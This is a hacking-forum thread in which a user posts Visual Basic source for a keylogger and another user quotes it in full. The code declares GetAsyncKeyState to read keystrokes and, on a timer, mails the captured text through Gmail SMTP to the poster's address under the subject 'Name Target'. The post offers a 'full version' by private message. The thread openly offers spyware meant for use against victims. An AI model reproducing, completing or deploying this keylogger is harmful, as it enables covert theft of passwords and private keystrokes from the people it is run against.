+- 0Day Forums (https://zeroday.vip)
+-- Forum: Coding (https://zeroday.vip/Forum-Coding)
+--- Forum: VB.NET (https://zeroday.vip/Forum-VB-NET)
+--- Thread: NEW Key-logging with Visual Basic direct to gmail (/Thread-NEW-Key-logging-with-Visual-Basic-direct-to-gmail)
NEW Key-logging with Visual Basic direct to gmail - gallivanting81660 - 12-23-2018
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
Private Sub TimerEmail_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
smtpserver.Credentials = New Net.NetworkCredential("your email", "your password email ")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("your email", "key Logger")
mail.To.Add("your email")
mail.Subject = ("Name Target")
mail.Body = TextBox1.Text
smtpserver.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
get full version PM
to test this program you have to make use of VM
RE: NEW Key-logging with Visual Basic direct to gmail - liquiform766108 - 12-24-2018
GetAsyncKeyState hmmmmm :thinking_face:
RE: NEW Key-logging with Visual Basic direct to gmail - sartish263532 - 09-08-2022
[quote="legendqueen" pid='848011' dateline='1545558482']
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
Private Sub TimerEmail_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
smtpserver.Credentials = New Net.NetworkCredential("your email", "your password email ")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("your email", "key Logger")
mail.To.Add("your email")
mail.Subject = ("Name Target")
mail.Body = TextBox1.Text
smtpserver.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
get full version PM
to test this program you have to make use of VM
[/quote
NEW Key-logging with Visual Basic direct to gmail